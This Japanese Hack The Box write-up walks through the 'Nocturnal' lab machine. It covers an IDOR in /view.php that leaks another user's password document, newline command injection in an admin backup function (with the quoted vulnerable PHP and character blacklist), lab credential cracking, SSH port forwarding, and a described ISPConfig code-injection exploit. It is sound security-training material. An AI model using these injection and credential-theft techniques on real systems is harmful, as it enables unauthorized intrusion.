Nocturnal 【E】

Nocturnalは、IDOR脆弱性のあるウェブサイトを提示します。この脆弱性を利用すると、他のユーザーのファイルを読み取ったり、管理者パスワードを漏洩したりできます。管理パネル内では、管理者バックアップユーティリティのコマンドインジェクション脆弱性を見つけ、これを悪用して侵入の足掛かりを得ます。

Lab URL: https://app.hackthebox.com/machines/656

宛先IP : 10.10.11.64

偵察(Recon)

Nmap

OpenSSHとnginxのバージョンから判断すると、ホストはUbuntu 20.04 focalで動作していると思われます(20.10 groovyの可能性もあります)。

Webサーバーはnocturnal.htbへのリダイレクトを確認しました。仮想ホストルーティングを使用しているため、/etc/hostsファイルに以下の設定を追加します。

10.10.11.64 nocturnal.htb

Website - TCP 80

このサイトはクラウドストレージ/ファイル共有サイト

実際のページ
ページのソースを表示

ページソースから/login.php/register.phpを見つけました。そして、wappalyzer拡張機能を使用し、nginxとphpを使用していることを見つけました。

/login.php のログインページには、ユーザー名とパスワードを入力するログインフォームがあります:

基本的なユーザー名/パスワードの組み合わせ john:passwordroot:password を試しましたが、「Invalid username or password.」と表示されました。

akuma:passwordでアカウントの作成に成功しました。また、admin:password でもアカウントを作成しようと試みましたが、こちらはエラーが返されました

こちらのエラーを見て「ユーザー名は既に登録されていること」を理解しました。

akuma:password でログインすると、ファイルをアップロードしたり自分のファイルを確認したりできるダッシュボードが表示される。

画像ファイルをアップロードしようとすると、右上にエラーが表示される。

作成したファイル
エラーページ

サンプルのpdfファイルを作成してアップロードすると、「Your Files」に表示されます:

リンクにクリック すると/view.php?username=akuma&file=shell.pdfファイルがダウンロードして返されます。

次に、このサイトについてもっと知りたいので、ディレクトリブルートフォースを実行しました

Directory Brute Force

何らかのルールで「uploads」で始まるパスがブロックされているようです。手動でテストしてみます。/upload は 404 を返しますが、/uploads は 403 を返します。/uploadsakuma も同様ですが、/akumauploads は返しません。このルールは /uploads で始まるパスをすべてブロックしているようです。

admin.phpは存在してますが、/login.phpにリダイレクトされました。また/backups/も存在してますが、こちらは403を返ってきました。

シェルを www-data として実行 【管理パネルにアクセス】

ユーザー識別 Oracle / IDOR

先ほどの/view.php?username=akuma&file=shell.pdfことなんですが、そのリクエストをBurp Repeaterに送って、少し試してみます。

通常例: /view.php?username=akuma&file=shell.pdf = ファイルのコンテンツ表示される。

失敗例:

  • /view.php?username=akuma&file=shell.pdf' = エラー「Invalid file extension.」(ファイル拡張子が無効ですと)

  • /view.php?username=akuma&file=shell.pdf'--%20-.pdf = '--%20-.pdf ('-- -=コメントするのと最後に.pdfに終わるように)。エラー「File does not exist.」(ファイルの存在ないと)

  • /view.php?username=akuma'&file=shell.pdf = エラー「User not found.」(ユーザーがないと)

  • /view.php?username=akuma'--%20-.pdf&file=shell.pdf = エラー「User not found.」(ユーザーがないと) 特定のエラーメッセージが出ないためSQLインジェクションがないと判断しました。

少し不安はありますが、一つ気づいた点があります。ファイルパラメータを指定しない場合はどうなるでしょうか?

  • /view.php?username=akumaエラー「Invalid file extension.」(無効なファイル拡張子です) が返ります。

次に、を使用してみました:

他のファイル拡張子の機能(例えば ../ などのパストラバーサル)を試しても結果は同じでした。 (ログインしているユーザー自身が閲覧可能なファイルの一覧のみが表示される)

今度は、ユーザー名を変更してアクセスしてみるとどうでしょうか?

  • ランダムなユーザー名(例: /view.php?username=asdfgh&file=shell.pdf) → エラー「User not found.」(ユーザーが見つかりません) が返ります。

次に、元から存在する admin ユーザーで試してみました。

「Available files for download:」(ダウンロード可能なファイル)という見出しは表示されますが、ファイルの一覧自体は空でした。この結果から推測できるのは、

  • admin ユーザーにはアップロードされているファイルが存在しない可能性があり

  • 他のユーザーなら何か見られるかもしれない、ということです。

この推論を基に、存在するユーザー名をして探してみたいと思います。

先ほど送信したリクエストで、対象のユーザー名を「FUZZ」に置き換え、そのリクエストに右クリックし、表示されるコンテキストメニューから「Copy as file」選択して、(view.req)名前を付けてファイル保存します。

ファジングの結果、以下の有効なユーザー名を特定することに成功しました。

  • admin

  • amanda

  • tobias

  • akuma (自身のアカウント)

次に、ユーザー amanda でファイルの一覧を取得しようと試みると、privacy.odt というファイル名が閲覧できました。

次にファイルの中身を見るとこのようにエンコードされてように見えます。

このファイルの内容を確認するため、ダウンロードを試みます。Responseタブ内で右クリックし、コンテキストメニューから 「Copy as curl command」 を選択します。その後、そのコマンドを自身のCLIターミナルに貼り付けて実行します。

  1. ターミナルにコピーしたcurlコマンドを貼り付け、出力オプション -o を追加してファイル名(例: privacy.odt)を指定し、ファイルをダウンロードしました。

  2. ダウンロードしたファイルをテキストエディタで開いて内容を確認したところ、ファイルデータの先頭にHTTPレスポンスヘッダが含まれていることが判明しました。この余分なヘッダ部分をエディタで手動で削除し、正しいファイル形式となるよう保存し直しました。

  3. 修正したファイルを LibreOffice で開き、内容を確認します。

その結果、この文書ファイル内部にパスワードが記載されていることを確認しました。そして、そのパスワードはアマンダがウェブサイトにログインするために使用できました:

このパスワードをSSHで試してみましたが、うまくいきませんでした。

RCE(管理パネル列挙)

amanda 管理パネル:

アマンダのパスワードを入力し、「バックアップを作成」をクリックすると、ボタン下のパネルに結果が表示されます:

「バックアップをダウンロード」をクリックすると、backup_2025-09-1.zipというファイルがシステムに保存される。

指定したパスワードで解凍に成功した:

$ unzip backup_2025-09-1.zip
Archive:  backup_2025-09-1.zip
[backup_2025-09-1.zip] admin.php password: 

ダウンロードしたソースコードの分析

  • データベースを使用する各ファイルの先頭には、次のようなデータベース接続があることを確認しました。

    $db = new SQLite3('../nocturnal_database/nocturnal_database.db');

便利なことに、このアプリケーションではソースコードの一部を簡単に確認できます。様々な.phpスクリプトをクリックしていくと、リバースシェルを取得する可能性のある方法として、ある点が特に目につきました。

ダウンロードしたファイルの最も興味深いファイルはadmin.phpで、zipコマンドが実行されている箇所です。ファイルの下部付近に次の記述が見つかります:

admin.php
...(省略)...
<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';
       
        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
        
        $descriptor_spec = [
            0 => ["pipe", "r"], // stdin
            1 => ["file", $logFile, "w"], // stdout
            2 => ["file", $logFile, "w"], // stderr
        ];

        $process = proc_open($command, $descriptor_spec, $pipes);
        if (is_resource($process)) {
            proc_close($process);
        }
...(省略)...
  • ここで興味深い部分は12行目で、PHPの文字列連結を使用してproc_open経由でシステムコマンドを構築している点です。

  • 4行目では、スクリプトがユーザー入力のパスワードに対してcleanEntry()を実行しようとしている点に注意してください。PHPスクリプトの出力をスクロールしてcleanEntry()関数を見つけ、ユーザー入力をどのようにサニタイズしようとしているかを確認してください。

  • パスワード入力で使用できない文字のブラックリスト:

$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&']
  • 各セクションは " で囲まれ . PHPの連結演算子で結合されてます

"zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

これは興味深い。なぜなら " 文字は明らかにこの順序において重要な文字であり、文字列の開始と終了を示すからだ。そして " 文字はブラックリストに含まれていない。では、パスワードフィールドに " を注入したらどうなるだろうか?

悪意のある入力: password123"

これはPHPスクリプトではなくshがエラーを発生させています。proc_openに渡されたコマンド文字列を事実上終了させたため、shは残りの入力を別のコマンドと認識しています。

実引数:
"zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

実行失敗例:zip -x './backups/*' -r -P password123" FILENAME_Backup . > FILENAME_Logfile 2>&1 &

この余分な引用符によりshはここでコマンドを終了し、その後FILENAME_Backupのコマンドとして扱われる

少し難しいかもしれませんがバイパス手法です。

  • 実際のコマンド:

$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
  • 一時バイパスコマンド例:

この制限を回避するには、パスワード入力後に改行文字 (\n または %0a) を注入します。これにより、パスワード入力フィールドの終端を欺くことができます。 具体的なペイロードの構造は以下の順序になります。

  1. 正規のパスワード

  2. 改行文字 (\n)

  3. 実行したい任意のコマンド (例: スリープコマンド)

  4. 残りの部分的コマンド (存在する場合)

これにより、パスワード + 改行 + 任意コマンド が連続して実行されることを期待します。

$command = "zip -x './backups/*' -r -P " . $password . 
sleep 5
" " . $backupFile . " .  > " . $logFile . " 2>&1 &";
  • 最終バイパスコマンド:

-P " の後にパスワードを入力すると -P の はじめの " によって、パスワード入力の後の " がないため実行際エラーが発生します。そのため、最初の行にもう一つの " を入力しました。(result = -P "password123")

$command = "zip -x './backups/*' -r -P " . $password ."
sleep 5
" " . $backupFile . " .  > " . $logFile . " 2>&1 &";

コマンドインジェクション

Payload 例

検出された結果

sleepコマンド5秒の時
sleepコマンド10秒の時

& がブロックされているため、bash リバースシェルを直接使用できません。curl で を試してみます。Python ウェブサーバーを起動し (python -m http.server 80)、送信するとサーバーからリクエストが届きます。

Payload:

実行:

結果:

エクスプロイトの列挙 (Post-Exploit Enumeration)

OS & Kernel

hostnamectl                                                                                                                        
   Static hostname: nocturnal                                                                                                      
         Icon name: computer-vm
           Chassis: vm
        Machine ID: 58aeadfa5c4341028efdfcf816fc9d31
           Boot ID: fc6bac196d4e4f248b012683656175be
    Virtualization: vmware
  Operating System: Ubuntu 20.04.6 LTS
            Kernel: Linux 5.4.0-212-generic
      Architecture: x86-64

uid=33(www-data) gid=33(www-data) groups=33(www-data),1002(ispapps),1003(ispconfig),1004(client0)

Sorry, user www-data may not run sudo on nocturnal.    

Current User

tobias:x:1000:1000:tobias:/home/tobias:/bin/bash
ispapps:x:1001:1002::/var/www/apps:/bin/sh
ispconfig:x:1002:1003::/usr/local/ispconfig:/bin/sh    

Local Groups

tobias:x:1000:tobias
ispapps:x:1002:www-data
ispconfig:x:1003:www-data    

Open Ports

ss -tnlp
State     Recv-Q    Send-Q       Local Address:Port        Peer Address:Port    Process                                                                         
LISTEN    0         151              127.0.0.1:3306             0.0.0.0:*                                                                                       
LISTEN    0         10               127.0.0.1:587              0.0.0.0:*                                                                                       
LISTEN    0         4096             127.0.0.1:8080             0.0.0.0:*                                                                                       
LISTEN    0         511                0.0.0.0:80               0.0.0.0:*        users:(("nginx",pid=891,fd=8),("nginx",pid=890,fd=8))                          
LISTEN    0         4096         127.0.0.53%lo:53               0.0.0.0:*                                                                                       
LISTEN    0         128                0.0.0.0:22               0.0.0.0:*                                                                                       
LISTEN    0         10               127.0.0.1:25               0.0.0.0:*                                                                                       
LISTEN    0         70               127.0.0.1:33060            0.0.0.0:*                                                                                       
LISTEN    0         128                   [::]:22                  [::]:* 

リンピーも実行できます

はじめから興味深いファイル

./nocturnal_database/nocturnal_database.db: SQLite 3.x database, last written using SQLite version 3031001

権限昇格

Dump Nocturnal Database

CrackStationでハッシュを試して見たところ:

本番環境のハッシュはcrackstation にアップロードしないでください。

横方向の移動 (Lateral to Tobias)

slowmotionapocalypseでtobias su できます。

www-data@nocturnal:~$ su - tobias
Password: 
tobias@nocturnal:~$ 

sshもできます。そして、やっとuser.txttobiasホームディレクトリに見つけました。

tobias@nocturnal:~$ cat user.txt
8c2ce65e************************

Becoming Root

開放ポート(Open Ports)を確認したところ、ポート8080が開放されていることを確認しました。 このポートに対して curl コマンドでリクエストを送り、どのようなサービスが動いているのかを調査しました。

その結果、応答として PHPのセッション情報が返ってきました。さらに、不審なクッキー ISPCSESS も同時に設定されていることが判明しました。

ポート8080で動作するサービスについて更に調査するため、/etc ディレクトリ内の設定ファイルを確認しました。 その結果、ポート8080PHPの組み込みWebサーバー によって起動され、常時稼働していることが確認できました。

ポートフォワーディング

Burpはローカルではtcp/8080で実行されているので、tcp/8081を使用しました。

ssh -f -N -L 8081:127.0.0.1:8080 tobias@nocturnal.htb
ポートフォワーディング成功

ユーザー tobias ではログインできませんでしたが tobiasのパスワードでadminユーザーでログインできました。

Monitor」をクリックすると、サーバーのバージョンが表示されます。

Google search for "ispconfig 3.2.10 exploit"

要約すると、このPHPエクスプロイトスクリプトは攻撃者の管理下にあるシステム上でローカルに実行されます。実行時には以下の3つの引数を指定する必要があります。

  1. URL (標的サーバーのベースURL)

  2. ユーザー名

  3. パスワード

スクリプトはその後、PHPのcURLライブラリを使用して、標的サーバー内の脆弱なページ (/admin/language_edit.php) に対してHTTPリクエストを送信します。このリクエストを悪用することで、標的サーバーに任意のPHPコードを挿入(書き込み) することに成功する。

実行すると:

HAPPY Hacking

Last updated